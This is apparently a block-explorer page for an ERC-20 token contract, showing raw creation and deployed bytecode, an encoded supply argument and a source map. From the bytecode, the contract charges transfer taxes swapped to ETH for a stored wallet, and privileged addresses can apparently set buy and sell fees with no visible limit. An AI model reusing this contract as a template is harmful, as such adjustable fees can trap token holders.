09081526010602052604090205460ff165b80610cad5750601354600160a01b900460ff168015610c935750600e546001600160a01b03858116911614155b8015610cad5750600e546001600160a01b03848116911614155b15610cba57506000610cf8565b600e546001600160a01b0390811690851603610cdb57600754600655610cf8565b600e546001600160a01b0390811690841603610cf8576008546006555b610d0484848484610e38565b50505050565b60008184841115610d2e5760405162461bcd60e51b8152600401610a079190611268565b505050900390565b6000610d42828461146d565b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0f81610e9e565b6013544790610e27906001600160a01b031682610ff8565b5050600e805460ff60a01b19169055565b80610e4a57610e45611033565b610e77565b6005805460ff16906000610e5d83611480565b91906101000a81548160ff021916908360ff160217905550505b610e82848484611078565b80610d0457610d04600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed357610ed361149f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5091906113ea565b81600181518110610f6357610f6361149f565b6001600160a01b039283166020918202929092010152600d54610f899130911684610a1c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc29085906000908690309042906004016114b5565b600060405180830381600087803b158015610fdc57600080fd5b505af1158015610ff0573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b505050565b6006541580156110435750600754155b801561104f5750600854155b1561105657565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109f5760006110a3565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611137576001600160a01b0384166000908152600c60205260409020546110ea9083611224565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111199082610d36565b6001600160a01b0384166000908152600c6020526040902055610d04565b60008061114384611230565b6001600160a01b0388166000908152600c6020526040902054919350915061116b9085611224565b6001600160a01b038088166000908152600c6020526040808220939093559087168152205461119a9083610d36565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c69082610d36565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d428284611526565b60008060006064600654856112459190611539565b61124f9190611550565b9050600061125d8583611224565b959194509092505050565b600060208083528351808285015260005b8181101561129557858101830151858201604001528201611279565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1957600080fd5b600080604083850312156112de57600080fd5b82356112e9816112b6565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b8335611317816112b6565b92506020840135611327816112b6565b929592945050506040919091013590565b6000806040838503121561134b57600080fd5b50508035926020909101359150565b60006020828403121561136c57600080fd5b8135610d42816112b6565b6000806040838503121561138a57600080fd5b8235611395816112b6565b915060208301356113a5816112b6565b809150509250929050565b600181811c908216806113c457607f821691505b6020821081036113e457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156113fc57600080fd5b8151610d42816112b6565b60008060006060848603121561141c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144757600080fd5b81518015158114610d4257600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561054c5761054c611457565b600060ff821660ff810361149657611496611457565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054c5761054c611457565b808202811582820484141761054c5761054c611457565b60008261156d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d3f28c711c9231b3a7760900e7af63f4e71ed36bc2faa912eb221ba02d44b44464736f6c63430008130033000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611268565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112cb565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112f7565b610552565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112cb565b6105bb565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e610339366004611338565b6105f1565b005b34801561034c57600080fd5b5061022061035b36600461135a565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061d565b34801561039757600080fd5b506101a66103a636600461135a565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610631565b3480156103fa57600080fd5b506101a66104093660046112cb565b610640565b34801561041a57600080fd5b506101a66104293660046112cb565b61068f565b34801561043a57600080fd5b5061033e61069c565b34801561044f57600080fd5b5061022061045e366004611377565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a436600461135a565b61099e565b6060600180546104b8906113b0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b0565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1c565b5060015b92915050565b600061055f848484610add565b6105b184336105ac85604051806060016040528060288152602001611573602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d0a565b610a1c565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ac9086610d36565b3360009081526010602052604090205460ff16151560011461061257600080fd5b600791909155600855565b610625610d49565b61062f6000610da3565b565b6060600280546104b8906113b0565b600061054833846105ac8560405180606001604052806025815260200161159b60259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d0a565b6000610548338484610add565b6106a4610d49565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f91906113ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906113ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906113ea565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108499290610a1c565b600d546001600160a01b031663f305d719473061087b816001600160a01b03166000908152600c602052604090205490565b6000806108906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611407565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190611435565b5050565b6109a6610d49565b6001600160a01b038116610a105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1981610da3565b50565b6001600160a01b03831615801590610a3c57506001600160a01b03821615155b610a7c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a07565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afd57506001600160a01b03821615155b610b415760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a07565b60008111610b9f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a07565b60055460ff61010082048116911610801590610bc55750600e54600160a01b900460ff16155b8015610bdf5750600e546001600160a01b03848116911614155b8015610bf45750600e54600160a81b900460ff165b15610c24576005805460ff19169055306000908152600c60205260409020548015610c2257610c2281610df3565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6657506001600160a01b03831660009081526010602052604090205460ff165b80610cad5750601354600160a01b900460ff168015610c935750600e546001600160a01b03858116911614155b8015610cad5750600e546001600160a01b03848116911614155b15610cba57506000610cf8565b600e546001600160a01b0390811690851603610cdb57600754600655610cf8565b600e546001600160a01b0390811690841603610cf8576008546006555b610d0484848484610e38565b50505050565b60008184841115610d2e5760405162461bcd60e51b8152600401610a079190611268565b505050900390565b6000610d42828461146d565b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0f81610e9e565b6013544790610e27906001600160a01b031682610ff8565b5050600e805460ff60a01b19169055565b80610e4a57610e45611033565b610e77565b6005805460ff16906000610e5d83611480565b91906101000a81548160ff021916908360ff160217905550505b610e82848484611078565b80610d0457610d04600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed357610ed361149f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5091906113ea565b81600181518110610f6357610f6361149f565b6001600160a01b039283166020918202929092010152600d54610f899130911684610a1c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc29085906000908690309042906004016114b5565b600060405180830381600087803b158015610fdc57600080fd5b505af1158015610ff0573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b505050565b6006541580156110435750600754155b801561104f5750600854155b1561105657565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109f5760006110a3565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611137576001600160a01b0384166000908152600c60205260409020546110ea9083611224565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111199082610d36565b6001600160a01b0384166000908152600c6020526040902055610d04565b60008061114384611230565b6001600160a01b0388166000908152600c6020526040902054919350915061116b9085611224565b6001600160a01b038088166000908152600c6020526040808220939093559087168152205461119a9083610d36565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c69082610d36565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d428284611526565b60008060006064600654856112459190611539565b61124f9190611550565b9050600061125d8583611224565b959194509092505050565b600060208083528351808285015260005b8181101561129557858101830151858201604001528201611279565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1957600080fd5b600080604083850312156112de57600080fd5b82356112e9816112b6565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b8335611317816112b6565b92506020840135611327816112b6565b929592945050506040919091013590565b6000806040838503121561134b57600080fd5b50508035926020909101359150565b60006020828403121561136c57600080fd5b8135610d42816112b6565b6000806040838503121561138a57600080fd5b8235611395816112b6565b915060208301356113a5816112b6565b809150509250929050565b600181811c908216806113c457607f821691505b6020821081036113e457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156113fc57600080fd5b8151610d42816112b6565b60008060006060848603121561141c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144757600080fd5b81518015158114610d4257600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561054c5761054c611457565b600060ff821660ff810361149657611496611457565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054c5761054c611457565b808202811582820484141761054c5761054c611457565b60008261156d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d3f28c711c9231b3a7760900e7af63f4e71ed36bc2faa912eb221ba02d44b44464736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000

-----Decoded View---------------
Arg [0] : _supplyAmount (uint256): 10000000000000000000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000


Deployed Bytecode Sourcemap

14347:8705:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16397:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17108:161;;;;;;;;;;-1:-1:-1;17108:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17108:161:0;1023:187:1;18273:34:0;;;;;;;;;;-1:-1:-1;18273:34:0;;;;-1:-1:-1;;;18273:34:0;;;;;;15049:41;;;;;;;;;;-1:-1:-1;15049:41:0;;;;-1:-1:-1;;;;;15049:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15049:41:0;1215:230:1;16674:100:0;;;;;;;;;;-1:-1:-1;16754:12:0;;16674:100;;;1596:25:1;;;1584:2;1569:18;16674:100:0;1450:177:1;14772:26:0;;;;;;;;;;;;;;;;15132:28;;;;;;;;;;-1:-1:-1;15132:28:0;;;;-1:-1:-1;;;15132:28:0;;;;;;17277:313;;;;;;;;;;-1:-1:-1;17277:313:0;;;;;:::i;:::-;;:::i;16583:83::-;;;;;;;;;;-1:-1:-1;16649:9:0;;16583:83;;16649:9;;;;2235:36:1;;2223:2;2208:18;16583:83:0;2093:184:1;17598:218:0;;;;;;;;;;-1:-1:-1;17598:218:0;;;;;:::i;:::-;;:::i;14805:27::-;;;;;;;;;;;;;;;;15097:28;;;;;;;;;;-1:-1:-1;15097:28:0;;;;-1:-1:-1;;;;;15097:28:0;;;15167:40;;;;;;;;;;-1:-1:-1;15167:40:0;;;;-1:-1:-1;;;15167:40:0;;;;;;22875:172;;;;;;;;;;-1:-1:-1;22875:172:0;;;;;:::i;:::-;;:::i;:::-;;18101:121;;;;;;;;;;-1:-1:-1;18101:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;18194:20:0;18167:7;18194:20;;;:11;:20;;;;;;;18101:121;5997:103;;;;;;;;;;;;;:::i;15292:51::-;;;;;;;;;;-1:-1:-1;15292:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5762:87;;;;;;;;;;-1:-1:-1;5808:7:0;5835:6;-1:-1:-1;;;;;5835:6:0;5762:87;;16488;;;;;;;;;;;;;:::i;17824:269::-;;;;;;;;;;-1:-1:-1;17824:269:0;;;;;:::i;:::-;;:::i;16782:167::-;;;;;;;;;;-1:-1:-1;16782:167:0;;;;;:::i;:::-;;:::i;22242:625::-;;;;;;;;;;;;;:::i;16957:143::-;;;;;;;;;;-1:-1:-1;16957:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17065:18:0;;;17038:7;17065:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16957:143;6108:201;;;;;;;;;;-1:-1:-1;6108:201:0;;;;;:::i;:::-;;:::i;16397:83::-;16434:13;16467:5;16460:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16397:83;:::o;17108:161::-;17183:4;17200:39;5287:10;17223:7;17232:6;17200:8;:39::i;:::-;-1:-1:-1;17257:4:0;17108:161;;;;;:::o;17277:313::-;17375:4;17392:36;17402:6;17410:9;17421:6;17392:9;:36::i;:::-;17439:121;17448:6;5287:10;17470:89;17508:6;17470:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17470:19:0;;;;;;:11;:19;;;;;;;;5287:10;17470:33;;;;;;;;;;:37;:89::i;:::-;17439:8;:121::i;:::-;-1:-1:-1;17578:4:0;17277:313;;;;;:::o;17598:218::-;5287:10;17686:4;17735:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17735:34:0;;;;;;;;;;17686:4;;17703:83;;17726:7;;17735:50;;17774:10;17735:38;:50::i;22875:172::-;5287:10;22948:32;;;;:18;:32;;;;;;;;:38;;:32;:38;22940:47;;;;;;22998:7;:14;;;;23023:8;:16;22875:172::o;5997:103::-;5721:13;:11;:13::i;:::-;6062:30:::1;6089:1;6062:18;:30::i;:::-;5997:103::o:0;16488:87::-;16527:13;16560:7;16553:14;;;;;:::i;17824:269::-;17917:4;17934:129;5287:10;17957:7;17966:96;18005:15;17966:96;;;;;;;;;;;;;;;;;5287:10;17966:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17966:34:0;;;;;;;;;;;;:38;:96::i;16782:167::-;16860:4;16877:42;5287:10;16901:9;16912:6;16877:9;:42::i;22242:625::-;5721:13;:11;:13::i;:::-;22295:32:::1;22349:42;22295:97;;22437:13;-1:-1:-1::0;;;;;22437:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22419:53:0::1;;22481:4;22488:13;-1:-1:-1::0;;;;;22488:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22419:90;::::0;-1:-1:-1;;;;;;22419:90:0::1;::::0;;;;;;-1:-1:-1;;;;;4259:15:1;;;22419:90:0::1;::::0;::::1;4241:34:1::0;4311:15;;4291:18;;;4284:43;4176:18;;22419:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22403:13;:106:::0;;-1:-1:-1;;;;;;22403:106:0;;::::1;-1:-1:-1::0;;;;;22403:106:0;;::::1;;::::0;;;22520:15:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;22579:4:::1;-1:-1:-1::0;18194:20:0;;;:11;:20;;;;;;22562:75:::1;::::0;22520:31;17439:8;:121::i;22562:75::-:1;22648:15;::::0;-1:-1:-1;;;;;22648:15:0::1;:31;22687:21;22718:4;22724:24;22718:4:::0;-1:-1:-1;;;;;18194:20:0;18167:7;18194:20;;;:11;:20;;;;;;;18101:121;22724:24:::1;22749:1;22751::::0;22753:7:::1;5808::::0;5835:6;-1:-1:-1;;;;;5835:6:0;;5762:87;22753:7:::1;22648:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22648:129:0;;;-1:-1:-1;;;;;4697:15:1;;;22648:129:0::1;::::0;::::1;4679:34:1::0;4729:18;;;4722:34;;;;4772:18;;;4765:34;;;;4815:18;;;4808:34;4879:15;;;4858:19;;;4851:44;22761:15:0::1;4911:19:1::0;;;4904:35;4613:19;;22648:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;22795:13:0::1;::::0;22826:15:::1;::::0;22788:71:::1;::::0;-1:-1:-1;;;22788:71:0;;-1:-1:-1;;;;;22826:15:0;;::::1;22788:71;::::0;::::1;5435:51:1::0;-1:-1:-1;;5502:18:1;;;5495:34;22795:13:0;::::1;::::0;-1:-1:-1;22788:29:0::1;::::0;5408:18:1;;22788:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22284:583;22242:625::o:0;6108:201::-;5721:13;:11;:13::i;:::-;-1:-1:-1;;;;;6197:22:0;::::1;6189:73;;;::::0;-1:-1:-1;;;6189:73:0;;6024:2:1;6189:73:0::1;::::0;::::1;6006:21:1::0;6063:2;6043:18;;;6036:30;6102:34;6082:18;;;6075:62;-1:-1:-1;;;6153:18:1;;;6146:36;6199:19;;6189:73:0::1;;;;;;;;;6273:28;6292:8;6273:18;:28::i;:::-;6108:201:::0;:::o;18776:266::-;-1:-1:-1;;;;;18871:19:0;;;;;;:44;;-1:-1:-1;;;;;;18894:21:0;;;;18871:44;18863:74;;;;-1:-1:-1;;;18863:74:0;;6431:2:1;18863:74:0;;;6413:21:1;6470:2;6450:18;;;6443:30;-1:-1:-1;;;6489:18:1;;;6482:47;6546:18;;18863:74:0;6229:341:1;18863:74:0;-1:-1:-1;;;;;18948:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19000:32;;1596:25:1;;;19000:32:0;;1569:18:1;19000:32:0;;;;;;;18776:266;;;:::o;19050:1041::-;-1:-1:-1;;;;;19174:18:0;;;;;;:38;;-1:-1:-1;;;;;;19196:16:0;;;;19174:38;19166:72;;;;-1:-1:-1;;;19166:72:0;;6777:2:1;19166:72:0;;;6759:21:1;6816:2;6796:18;;;6789:30;-1:-1:-1;;;6835:18:1;;;6828:51;6896:18;;19166:72:0;6575:345:1;19166:72:0;19266:1;19257:6;:10;19249:60;;;;-1:-1:-1;;;19249:60:0;;7127:2:1;19249:60:0;;;7109:21:1;7166:2;7146:18;;;7139:30;7205:34;7185:18;;;7178:62;-1:-1:-1;;;7256:18:1;;;7249:35;7301:19;;19249:60:0;6925:401:1;19249:60:0;19350:11;;;;;;;;19339:7;;:22;;;;:57;;-1:-1:-1;19380:16:0;;-1:-1:-1;;;19380:16:0;;;;19379:17;19339:57;:95;;;;-1:-1:-1;19421:13:0;;-1:-1:-1;;;;;19413:21:0;;;19421:13;;19413:21;;19339:95;:133;;;;-1:-1:-1;19451:21:0;;-1:-1:-1;;;19451:21:0;;;;19339:133;19322:393;;;19517:7;:11;;-1:-1:-1;;19517:11:0;;;19592:4;-1:-1:-1;18194:20:0;;;:11;:20;;;;;;19616:24;;19613:91;;19656:36;19671:20;19656:14;:36::i;:::-;19498:217;19322:393;-1:-1:-1;;;;;19764:24:0;;19729:12;19764:24;;;:18;:24;;;;;;19744:4;;19764:24;;;:50;;-1:-1:-1;;;;;;19792:22:0;;;;;;:18;:22;;;;;;;;19764:50;:119;;;-1:-1:-1;19819:15:0;;-1:-1:-1;;;19819:15:0;;;;:40;;;;-1:-1:-1;19846:13:0;;-1:-1:-1;;;;;19838:21:0;;;19846:13;;19838:21;;19819:40;:63;;;;-1:-1:-1;19869:13:0;;-1:-1:-1;;;;;19863:19:0;;;19869:13;;19863:19;;19819:63;19761:272;;;-1:-1:-1;19909:5:0;19761:272;;;19944:13;;-1:-1:-1;;;;;19944:13:0;;;19936:21;;;;19932:101;;19971:7;;19959:9;:19;19932:101;;;19996:13;;-1:-1:-1;;;;;19996:13:0;;;19990:19;;;;19986:47;;20023:8;;20011:9;:20;19986:47;20045:38;20060:4;20065:2;20068:6;20075:7;20045:14;:38::i;:::-;19153:938;19050:1041;;;:::o;3990:206::-;4076:7;4137:12;4129:6;;;;4121:29;;;;-1:-1:-1;;;4121:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4172:5:0;;;3990:206::o;3566:98::-;3624:7;3651:5;3655:1;3651;:5;:::i;:::-;3644:12;3566:98;-1:-1:-1;;;3566:98:0:o;5857:132::-;5808:7;5835:6;-1:-1:-1;;;;;5835:6:0;5287:10;5921:23;5913:68;;;;-1:-1:-1;;;5913:68:0;;7795:2:1;5913:68:0;;;7777:21:1;;;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;7925:18;;5913:68:0;7593:356:1;6317:191:0;6391:16;6410:6;;-1:-1:-1;;;;;6427:17:0;;;-1:-1:-1;;;;;;6427:17:0;;;;;;6460:40;;6410:6;;;;;;;6460:40;;6391:16;6460:40;6380:128;6317:191;:::o;20456:229::-;15759:16;:23;;-1:-1:-1;;;;15759:23:0;-1:-1:-1;;;15759:23:0;;;20540:37:::1;20556:20:::0;20540:15:::1;:37::i;:::-;20649:16;::::0;20609:21:::1;::::0;20641:36:::1;::::0;-1:-1:-1;;;;;20649:16:0::1;20609:21:::0;20641:7:::1;:36::i;:::-;-1:-1:-1::0;;15805:16:0;:24;;-1:-1:-1;;;;15805:24:0;;;20456:229::o;21180:332::-;21295:7;21291:107;;21318:14;:12;:14::i;:::-;21291:107;;;21373:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21291:107;21412:41;21427:6;21435:9;21446:6;21412:14;:41::i;:::-;21470:7;21466:38;;21492:12;18673:17;;18661:9;:29;18707:15;;18697:7;:25;18741:16;;18730:8;:27;18622:146;20697:473;20788:16;;;20802:1;20788:16;;;;;;;;20764:21;;20788:16;;;;;;;;;;-1:-1:-1;20788:16:0;20764:40;;20833:4;20815;20820:1;20815:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20815:23:0;;;:7;;;;;;;;;;:23;;;;20859:15;;:22;;;-1:-1:-1;;;20859:22:0;;;;:15;;;;;:20;;:22;;;;;20815:7;;20859:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20849:4;20854:1;20849:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20849:32:0;;;:7;;;;;;;;;:32;20924:15;;20892:62;;20909:4;;20924:15;20942:11;20892:8;:62::i;:::-;20965:15;;:197;;-1:-1:-1;;;20965:197:0;;-1:-1:-1;;;;;20965:15:0;;;;:66;;:197;;21046:11;;20965:15;;21089:4;;21116;;21136:15;;20965:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20751:419;20697:473;:::o;20099:115::-;20179:23;;-1:-1:-1;;;;;20179:15:0;;;:23;;;;;20195:6;;20179:23;;;;20195:6;20179:15;:23;;;;;;;;;;;;;;;;;;;;;20099:115;;:::o;18318:296::-;18364:9;;:14;:30;;;;-1:-1:-1;18382:7:0;;:12;18364:30;:47;;;;-1:-1:-1;18398:8:0;;:13;18364:47;18361:59;;;18318:296::o;18361:59::-;18448:7;;;18430:15;:25;18486:8;;;18467:16;:27;18526:9;;;18506:17;:29;-1:-1:-1;18546:11:0;;;;18568:12;;;;18591:13;18318:296::o;21520:715::-;-1:-1:-1;;;;;21631:20:0;;21614:14;21631:20;;;:9;:20;;;;;;;;:34;;21664:1;21631:34;;;21652:11;;21631:34;-1:-1:-1;;;;;21681:20:0;;;;;;:9;:20;;;;;;21614:51;;-1:-1:-1;21681:20:0;;21678:550;;;-1:-1:-1;;;;;21735:19:0;;;;;;:11;:19;;;;;;:31;;21759:6;21735:23;:31::i;:::-;-1:-1:-1;;;;;21713:19:0;;;;;;;:11;:19;;;;;;:53;;;;21802:22;;;;;;;:34;;21829:6;21802:26;:34::i;:::-;-1:-1:-1;;;;;21777:22:0;;;;;;:11;:22;;;;;:59;21678:550;;;21864:23;21889:17;21910;21920:6;21910:9;:17::i;:::-;-1:-1:-1;;;;;21960:19:0;;;;;;:11;:19;;;;;;21863:64;;-1:-1:-1;21863:64:0;-1:-1:-1;21960:31:0;;21984:6;21960:23;:31::i;:::-;-1:-1:-1;;;;;21938:19:0;;;;;;;:11;:19;;;;;;:53;;;;22027:22;;;;;;;:43;;22054:15;22027:26;:43::i;:::-;-1:-1:-1;;;;;22002:22:0;;;;;;:11;:22;;;;;;:68;;;;22130:4;22110:26;;;;:41;;22141:9;22110:30;:41::i;:::-;22101:4;22081:26;;;;:11;:26;;;;;;;